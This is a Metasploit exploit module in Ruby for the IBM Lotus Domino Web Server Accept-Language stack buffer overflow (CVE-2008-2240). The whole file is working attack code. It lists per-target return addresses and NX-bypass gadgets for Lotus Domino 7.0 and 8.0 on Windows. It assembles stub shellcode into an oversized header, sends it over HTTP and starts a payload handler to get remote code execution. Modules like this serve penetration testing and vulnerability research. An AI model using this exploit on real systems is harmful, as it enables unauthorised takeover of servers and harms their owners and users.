require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in IBM Lotus Domino Web Server
prior to version 7.0.3FP1 and 8.0.1. This flaw is triggered by any HTTP
request with an Accept-Language header greater than 114 bytes.
},
'Author' => [ 'Fairuzan Roslan riaf[at]mysec.org', 'Earl Marcus klks[at]mysec.org' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10998 $',
'References' =>
[
['CVE', '2008-2240'],
['OSVDB', '45415'],
['BID', '29310'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21303057'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x0a\x20\x2c\x3b",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Lotus Domino 7.0 on Windows 2003 SP1 English(NX)',
{
'FixESP' => 0x70335c79,
'FixESI' => 0x603055da,
'FixEBP' => 0x60a8bc90,
'Ret' => 0x62c838c7,
'DisableNX' => 0x7c83e413,
'JmpESP' => 0x62c6072e,
}
],
['Lotus Domino 7.0 on Windows 2003 SP2 English(NX)',
{
'FixESP' => 0x70335c79,
'FixESI' => 0x603055da,
'FixEBP' => 0x60a8bc90,
'Ret' => 0x62c838c7,
'DisableNX' => 0x7c83f517,
'JmpESP' => 0x62c6072e,
}
],
['Lotus Domino 7.0 on Windows 2003/2000/XP English(NO NX)',
{
'FixESP' => 0x70335c79,
'JmpESP' => 0x62c6072e,
}
],
['Lotus Domino 8.0 on Windows 2003 SP1 English(NX)',
{
'FixESP' => 0x7ea0615c,
'FixESI' => 0x639a7f87,
'FixEBP' => 0x6391c9f7,
'Ret' => 0x7f8b0628,
'DisableNX' => 0x7c83e413,
'JmpESP' => 0x6391071e,
}
],
['Lotus Domino 8.0 on Windows 2003 SP2 English(NX)',
{
'FixESP' => 0x7ea0615c,
'FixESI' => 0x639a7f87,
'FixEBP' => 0x6391c9f7,
'Ret' => 0x7f8b0628,
'DisableNX' => 0x7c83f517,
'JmpESP' => 0x6391071e,
}
],
['Lotus Domino 8.0 on Windows 2003/2000/XP English(NO NX)',
{
'FixESP' => 0x7ea0615c,
'JmpESP' => 0x6391071e,
}
],
],
'DisclosureDate' => 'May 20 2008'))
register_options( [ Opt::RPORT(80) ], self.class )
end
def exploit
connect
lang = rand_text_alphanumeric(116)
lang[ 56,4 ] = [ 0xfffffffe ].pack('V')
lang[ 68,4 ] = [ 0x7ffaf0ec ].pack('V')
lang[ 104, 4 ] = [ 0x7ffaf030 ].pack('V')
lang[ 112, 4 ] = [target['FixESP']].pack('V')
lang << "\x00"
lang << payload.encoded
if(not target['DisableNX'])
lang[ 16, 15 ] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xc4 pop edi sub edi,-0x86 call edi").encode_string
lang[ 80,4 ] = [target['JmpESP']].pack('V')
lang[ 84,2 ] = Rex::Arch::X86.jmp_short(-0x46)
else
lang[ 16, 16 ] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xd8 pop edi pop edi sub edi,-0x86 call edi").encode_string
lang[ 80,4 ] = [target['FixESI']].pack('V')
lang[ 84,4 ] = [target['FixEBP']].pack('V')
lang[ 88,4 ] = [target['Ret']].pack('V')
lang[ 92,4 ] = [target['JmpESP']].pack('V')
lang[ 100, 2 ] = Rex::Arch::X86.jmp_short(-0x56)
lang[ 108, 4 ] = [target['DisableNX']].pack('V')
end
uri = rand_text_alpha_lower(16) + '.nsf?' + rand_text_highascii(1)
print_status("Trying target #{target.name}...")
send_request_raw({
'uri' => "#{uri}",
'method' => 'GET',
'headers' =>
{
'Accept' => '*/*',
'Accept-Language' => "#{lang}",
'Accept-Encoding' => 'gzip,deflate',
'Keep-Alive' => '300',
'Connection' => 'keep-alive',
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
}
}, 5)
handler
disconnect
end
end